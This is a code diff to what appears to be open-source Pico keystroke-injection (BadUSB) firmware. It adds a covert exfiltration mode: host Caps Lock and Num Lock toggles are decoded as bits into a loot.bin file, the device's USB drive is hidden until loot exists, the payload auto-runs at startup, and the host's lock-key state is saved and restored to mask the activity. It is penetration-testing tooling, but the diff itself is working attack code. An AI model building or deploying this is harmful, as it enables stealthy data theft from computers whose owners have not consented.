diff --git a/boot.py b/boot.py index 96358a6..fe8aecb 100644 --- a/boot.py +++ b/boot.py @@ -7,7 +7,20 @@ from board import * import board import digitalio import storage +import os +def is_exfil_enabled(payload_path="payload.dd"): + try: + with open(payload_path, "r") as f: + for line in f: + if "$_EXFIL_MODE_ENABLED" in line and "TRUE" in line.upper(): + return True + except OSError: + pass + return False + +exfil_enabled = is_exfil_enabled() +loot_exists = "loot.bin" in os.listdir("/") noStorage = False noStoragePin = digitalio.DigitalInOut(GP15) noStoragePin.switch_to_input(pull=digitalio.Pull.UP) @@ -23,7 +36,9 @@ noStorageStatus = noStoragePin.value # Pico W: # GP15 not connected == USB NOT visible # GP15 connected to GND == USB visible - +if exfil_enabled: + if not loot_exists: + storage.disable_usb_drive() if(board.board_id == 'raspberry_pi_pico' or board.board_id == 'raspberry_pi_pico2'): # On Pi Pico, default to USB visible noStorage = not noStorageStatus @@ -39,3 +54,5 @@ if(noStorage == True): else: # normal boot print("USB drive enabled") + + diff --git a/code.py b/code.py index 6091070..a023493 100644 --- a/code.py +++ b/code.py @@ -5,8 +5,8 @@ import supervisor - - +import os +import pwmio import time import digitalio from board import * @@ -47,20 +47,22 @@ elif(board.board_id == 'raspberry_pi_pico_w' or board.board_id == 'raspberry_pi_ led = digitalio.DigitalInOut(board.LED) led.switch_to_output() +async def run_payload_on_startup(): + progStatus = False + progStatus = getProgrammingStatus() + print("progStatus", progStatus) + if(progStatus == False): + print("Finding payload") + if "loot.bin" in os.listdir("/"): + print("loot.bin exists, skipping payload execution.") + else: + payload = selectPayload() + await asyncio.sleep(0.1) + print("Running") + awaitrunScript(payload) + else: + print("Done") -progStatus = False -progStatus = getProgrammingStatus() -print("progStatus", progStatus) -if(progStatus == False): - print("Finding payload") - # not in setup mode, inject the payload - payload = selectPayload() - print("Running ", payload) - runScript(payload) - - print("Done") -else: - print("Update your payload") led_state = False @@ -68,15 +70,17 @@ async def main_loop(): global led,button1 button_task = asyncio.create_task(monitor_buttons(button1)) + payload_task = asyncio.create_task(run_payload_on_startup()) + led_task = asyncio.create_task(monitor_led_changes()) if(board.board_id == 'raspberry_pi_pico_w' or board.board_id == 'raspberry_pi_pico2_w'): pico_led_task = asyncio.create_task(blink_pico_w_led(led)) print("Starting Wifi") startWiFi() print("Starting Web Service") webservice_task = asyncio.create_task(startWebService()) - await asyncio.gather(pico_led_task, button_task, webservice_task) + await asyncio.gather(pico_led_task, button_task, webservice_task, payload_task, led_task) else: pico_led_task = asyncio.create_task(blink_pico_led(led)) - await asyncio.gather(pico_led_task, button_task) + await asyncio.gather(pico_led_task, button_task, payload_task, led_task ) asyncio.run(main_loop()) diff --git a/duckyinpython.py b/duckyinpython.py index d43a620..b42e66d 100644 --- a/duckyinpython.py +++ b/duckyinpython.py @@ -5,7 +5,6 @@ # TODO: ADD support for the following: # Add jitter # Add LED functionality - import re import time import random @@ -14,7 +13,6 @@ from digitalio import DigitalInOut, Pull from adafruit_debouncer import Debouncer import board from board import * -import pwmio import asyncio import usb_hid from adafruit_hid.keyboard import Keyboard @@ -39,6 +37,24 @@ def _numOn(): def _scrollOn(): return kbd.led_on(Keyboard.LED_SCROLL_LOCK) +def pressLock(key): + kbd.press(key) + kbd.release(key) + +def SaveKeyboardLedState(): + variables["$_INITIAL_SCROLLLOCK"] = _scrollOn() + variables["$_INITIAL_NUMLOCK"] = _numOn() + variables ["$_INITIAL_CAPSLOCK"] = _capsOn() + + +def RestoreKeyboardLedState(): + if(variables["$_INITIAL_CAPSLOCK"] != _capsOn()): + pressLock(Keycode.CAPS_LOCK) + if(variables["$_INITIAL_NUMLOCK"] != _numOn()): + pressLock(Keycode.NUM_LOCK) + if(variables["$_INITIAL_SCROLLLOCK"] != _scrollOn()): + pressLock(Keycode.SCROLL_LOCK) + duckyKeys = { 'WINDOWS': Keycode.GUI, 'RWINDOWS': Keycode.RIGHT_GUI, 'GUI': Keycode.GUI, 'RGUI': Keycode.RIGHT_GUI, 'COMMAND': Keycode.GUI, 'RCOMMAND': Keycode.RIGHT_GUI, 'APP': Keycode.APPLICATION, 'MENU': Keycode.APPLICATION, 'SHIFT': Keycode.SHIFT, 'RSHIFT': Keycode.RIGHT_SHIFT, @@ -71,7 +87,7 @@ duckyConsumerKeys = { 'MK_PP': ConsumerControlCode.PLAY_PAUSE, 'MK_STOP': ConsumerControlCode.STOP } -variables = {"$_RANDOM_MIN": 0, "$_RANDOM_MAX": 65535} +variables = {"$_RANDOM_MIN": 0, "$_RANDOM_MAX": 65535,"$_EXFIL_MODE_ENABLED": False,"$_EXFIL_LEDS_ENABLED": False,"$_INITIAL_SCROLLLOCK": False, "$_INITIAL_NUMLOCK": False, "$_INITIAL_CAPSLOCK": False} internalVariables = {"$_CAPSLOCK_ON": _capsOn, "$_NUMLOCK_ON": _numOn, "$_SCROLLLOCK_ON": _scrollOn} defines = {} functions = {} @@ -181,6 +197,9 @@ def evaluateExpression(expression): expression = expression.replace("&&", "and") expression = expression.replace("||", "or") + expression = expression.replace("TRUE", "True") + expression = expression.replace("FALSE", "False") + return eval(expression, {}, variables) def deepcopy(List): @@ -238,7 +257,7 @@ def replaceDefines(line): line = line.replace(define, value) return line -def parseLine(line, script_lines): +async def parseLine(line, script_lines): global defaultDelay, variables, functions, defines line = line.strip() line = line.replace("$_RANDOM_INT", str(random.randint(int(variables.get("$_RANDOM_MIN", 0)), int(variables.get("$_RANDOM_MAX", 65535))))) @@ -257,6 +276,7 @@ def parseLine(line, script_lines): commandKeycode = duckyKeys.get(key, None) if commandKeycode: kbd.press(commandKeycode) + else: print(f"Unknown key to HOLD: <{key}>") elif line.startswith("RELEASE"): @@ -403,6 +423,17 @@ def parseLine(line, script_lines): sendString(random.choice(letters + letters.upper() + numbers + specialChars)) elif line == "RESET": kbd.release_all() + elif line == "SAVE_HOST_KEYBOARD_LOCK_STATE": + SaveKeyboardLedState() + elif line == "RESTORE_HOST_KEYBOARD_LOCK_STATE": + RestoreKeyboardLedState() + elif line == "WAIT_FOR_SCROLL_CHANGE": + last_scroll_state = _scrollOn() + while True: + current_scroll_state = _scrollOn() + if current_scroll_state != last_scroll_state: + break + await asyncio.sleep(0.01) elif line in functions: updated_lines = [] inside_while_block = False @@ -454,7 +485,7 @@ def getProgrammingStatus(): defaultDelay = 0 -def runScript(file): +async def runScript(file): global defaultDelay duckyScriptPath = file @@ -479,7 +510,7 @@ def runScript(file): restart = False break else: - parseLine(line, script_lines) + await parseLine(line, script_lines) previousLine = line time.sleep(float(defaultDelay) / 1000) except OSError as e: @@ -524,45 +555,53 @@ async def blink_led(led): elif(board.board_id == 'raspberry_pi_pico_w' or board.board_id == 'raspberry_pi_pico2_w'): blink_pico_w_led(led) + async def blink_pico_led(led): print("starting blink_pico_led") led_state = False while True: - if led_state: - #led_pwm_up(led) - #print("led up") - for i in range(100): - # PWM LED up and down - if i < 50: - led.duty_cycle = int(i * 2 * 65535 / 100) # Up - await asyncio.sleep(0.01) - led_state = False + if(variables.get("$_EXFIL_LEDS_ENABLED")): + led.duty_cycle = 65535 else: - #led_pwm_down(led) - #print("led down") - for i in range(100): - # PWM LED up and down - if i >= 50: - led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100) # Down - await asyncio.sleep(0.01) - led_state = True + if led_state: + #led_pwm_up(led) + #print("led up") + for i in range(100): + # PWM LED up and down + if i < 50: + led.duty_cycle = int(i * 2 * 65535 / 100) # Up + await asyncio.sleep(0.01) + led_state = False + else: + #led_pwm_down(led) + #print("led down") + for i in range(100): + # PWM LED up and down + if i >= 50: + led.duty_cycle = 65535 - int((i - 50) * 2 * 65535 / 100) # Down + await asyncio.sleep(0.01) + led_state = True await asyncio.sleep(0) async def blink_pico_w_led(led): print("starting blink_pico_w_led") led_state = False while True: - if led_state: - #print("led on") + if(variables.get("$_EXFIL_LEDS_ENABLED")): led.value = 1 + else: + if led_state: + #print("led on") + led.value = 1 + await asyncio.sleep(0.5) + led_state = False + else: + #print("led off") + led.value = 0 + await asyncio.sleep(0.5) + led_state = True await asyncio.sleep(0.5) - led_state = False - else: - #print("led off") - led.value = 0 - await asyncio.sleep(0.5) - led_state = True - await asyncio.sleep(0.5) + async def monitor_buttons(button1): global inBlinkeyMode, inMenu, enableRandomBeep, enableSirenMode,pixel @@ -588,8 +627,51 @@ async def monitor_buttons(button1): # Run selected payload payload = selectPayload() print("Running ", payload) - runScript(payload) + await runScript(payload) print("Done") button1Down = False await asyncio.sleep(0) + +async def monitor_led_changes(): + print("starting monitor_led_changes") + + while True: + if variables.get("$_EXFIL_MODE_ENABLED"): + try: + bit_list = [] + last_caps_state = _capsOn() + last_num_state = _numOn() + last_scroll_state = _scrollOn() + + with open("loot.bin", "ab") as file: + while variables.get("$_EXFIL_MODE_ENABLED"): + caps_state = _capsOn() + num_state = _numOn() + scroll_state = _scrollOn() + + if caps_state != last_caps_state: + bit_list.append(0) + last_caps_state = caps_state + + elif num_state != last_num_state: + bit_list.append(1) + last_num_state = num_state + + if len(bit_list) == 8: + byte = 0 + for b in bit_list: + byte = (byte << 1) | b + file.write(bytes([byte])) + bit_list = [] + + if scroll_state != last_scroll_state: + variables["$_EXFIL_LEDS_ENABLED"] = False + break + + await asyncio.sleep(0.001) + except Exception as e: + print(f"Error occurred: {e}") + + await asyncio.sleep(0.0) +